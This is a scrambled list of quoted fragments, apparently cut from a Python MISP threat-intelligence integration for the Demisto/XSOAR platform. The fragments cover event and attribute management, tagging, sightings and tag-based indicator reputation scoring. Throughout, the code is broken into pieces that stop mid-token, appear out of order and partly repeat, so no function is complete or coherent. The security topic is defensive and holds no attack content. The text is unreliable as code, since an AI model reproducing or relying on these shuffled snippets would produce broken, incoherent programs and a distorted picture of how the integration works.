obj) def","not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj)","score found_related_events (dict): contains info (name, id, threat level id) about all the","will be added to that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'),","= demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B -","elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command ==","'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit',","score by following logic. Indicators of attributes and Events that: * have tags","to the context output format. please note: attributes are excluded from search-events output","is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search =","osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url,","= reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}',","url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template')","configured as suspicious will be scored 2 (i.e suspicious). * don't have any","0 or not exists) it says that it is an attribute's tag. If","replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable):","server url is correct.') if \"Please make sure the API key and the","'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version',","MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error:","-> dict: \"\"\" Convert the response of event search returned from MISP to","args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} #","CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability,","integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() #","This function can be called as an independence command or as part of","events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else:","pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import *","only the ID and Name fields. In addition, returns set of the found","= [] for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name')","MISP event object and set the event's details. \"\"\" event = MISPEvent() event.distribution","Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'),","or event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag)","in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist'","None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None","event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"##","Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide","command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets","event_name (str): Name of the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag',","outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute","{page} out others that may exist\" else: pagination_message += f\"Showing page {page}\" md","reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights,","given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid':","attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category':","all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output","{value} is not valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise","in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build,","MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def","tags ids (attribute tags and event tags). Args: value (str): The indicator value","suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator","{arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys","update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response =","warn(*args): \"\"\" Do nothing with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings()","related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp'))","case the same tag appears in both Malicious tag ids and Suspicious tag","the response. This function goes over all the attributes that found (after limit","list, str]: \"\"\" Replacing keys from MISP's format to Demisto's (as appear in","required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\"","headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if","in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return","are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py","return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes","demisto_args} # Replacing keys and values from Demisto to Misp's keys if 'type'","{ 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External","0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = {","handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event':","';' as delimiter for operators. using the operators is optional. if 'demisto_query' does","event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list:","'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) ->","return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for","page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True)","else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args:","the indicator will be scored as malicious. - Attributes tags (both malicious and","Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP","for tag in tag_ids: try: tag = int(tag) if tag <= 0: raise","{value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the events that","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids,","Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids)","= {}, new_event: MISPEvent = None): \"\"\"Adding attribute to a given MISP event","- In case the same tag appears in both Malicious tag ids and","obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp']","that was scored as malicious or suspicious. If no tag was found, then","f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers,","dict: \"\"\" Convert the response of event search returned from MISP to the","common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if","\"\"\" Extracting errors raised by PYMISP into readable response, for more information and","'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except","(create event for example) Args: event_id (int): Event ID to add attribute to","attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item:","< 0: raise DemistoException(\"page should be zero or a positive number\") if limit","= [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict,","related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the","the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the","'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score',","ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag']","the attrubite will be added to that existing event. \"\"\" attributes_args = {","be zero or a positive number\") if limit and limit < 0: raise","try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit))","str), and verify all the tags are valid positive integers.\"\"\" for tag in","in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns:","tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args):","Replacing keys and values from Demisto to Misp's keys if 'type' in args_to_misp_format:","available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args:","malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\")","* logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to MISP","that have the tag (i.e found_tag) which caused the indicator to be scored","url and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed","obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded,","attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command","event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg =","returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\"","the tag (id) which made the indicator to get that score found_related_events (dict):","dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute to a given MISP","will be BAD if the threat level id is in [1,2,3]. Otherwise, the","configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type:","return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str):","'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting']","{response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to attribute","GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score':","'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args,","g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id')","2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1,","args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in","DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable =","= arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit)","found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event,","use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability,","command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command","command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command","been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response","tag was found, then the score is Unknown so no events should be","the \"Related Attribute\" list and limits the tags and galaxies lists. Eventually, the","attributes' values that match the search query when user set the arg 'compact'","'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization',","str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i","for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return","'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command ==","the indicator score found_tag: the tag (id) which made the indicator to get","this function was called from create event command, the attrubite will be added","'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS","command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute':","url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None","Gets a timestamp from MISP response (1546713469) and converts it to human readable","one of it's tags. If so, the event will be added to related_events","value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def","attribute. is_attribute (bool): if the given UUID belongs to an attribute (True) or","False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit =","misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\"","of a NewConnectionError, ' 'Please make sure your MISP server url is correct.')","sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID':","event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict):","attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is","obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required","out others that may exist\" else: pagination_message += f\"Showing page {page}\" md =","suspicious. event_name (str): Name of the event \"\"\" related_events = [] object_tags_list =","dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score,","that was scored as malicious or suspicious. event_name (str): Name of the event","category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen","value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid","error: Please provide a valid value for the Source Reliability parameter\") attributes_limit =","returned from MISP to the context output format. please note: attributes are excluded","tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise","[{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else","or attribute dict which includes tags list. found_tag (str): The tag that was","demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit']","= PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id","if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category","of the found tag ids. Some tags have a field called inherited. When","Gets an event id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response =","'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked',","any]]: filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') }","outputs will be a list of attributes along with their events objects. Note:","= misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events","'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration':","MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5","Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags':","Events that: * have tags which configured as malicious will be scored 3","if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned","= get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in","specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj =","please check it once again\") new_event = response[0] # response[0] is MISP event","to related_events list Args: object_data_dict (dict): Event or attribute dict which includes tags","from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\"","args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format:","attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and","or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params,","in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes =","score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value)","is an event's tag. Otherwise (if it is set to 0 or not","using the operators is optional. if 'demisto_query' does not contains any of the","except PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please make sure the","dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value}","'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN',","attribute we remove the \"Related Attribute\" list and limits the tags and galaxies","= r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and =","exist when this is an attribute level, default is '0' tag_id = tag.get('id')","urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers","search query when user set the arg 'compact' to True\"\"\" if isinstance(response_object, str):","argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the","MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\"","response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event","dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the given attribute","attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category')","includes tags list. found_tag (str): The tag that was scored as malicious or","'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name':","= demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\"Adding","for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events","DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if","Indicators of attributes and Events that: * have tags which configured as malicious","as an independence command or as part of another command (create event for","ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id,","Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value)","which configured as malicious will be scored 3 (i.e malicious). * have tags","event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else","match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or,","(MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key","given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to be a positive","attribute in attributes] def pagination_args_validation(page, limit): if page and page < 0: raise","if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return","2 (i.e suspicious). * don't have any tags configured as suspicious nor malicious","'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution',","if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a","dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into a list, please see","= dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not","return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score","tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids =","str: \"\"\" Gets a timestamp from MISP response (1546713469) and converts it to","import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL)","'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category':","has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',","was configured to be malicious is stronger than recognised as suspicious). \"\"\" common_ids","if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object',","have tags which configured as malicious will be scored 3 (i.e malicious). *","& set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in","response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError message: {response}')","in Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing dicts","the context output format. please note: attributes are excluded from search-events output as","command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute':","'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for","\"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event,","object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id","events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning related event","events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids","case, the score will be BAD if the threat level id is in","not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not valid\") if","import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import","misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE)","DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been","calculated the score of the indicator. For the context data outputs, for every","== 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command ==","response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if","and Suspicious tag ids lists the indicator will be scored as malicious. -","PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the attribute","full of in unnecessary data, we want to limit this list to include","= demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen =","try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\"Adding the required","if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value)","False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True)","replace keys in Returns: Union[dict, list, str]: same object type that got in","args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids')","from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) #","feed format must be MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args)","outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP for the","args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: 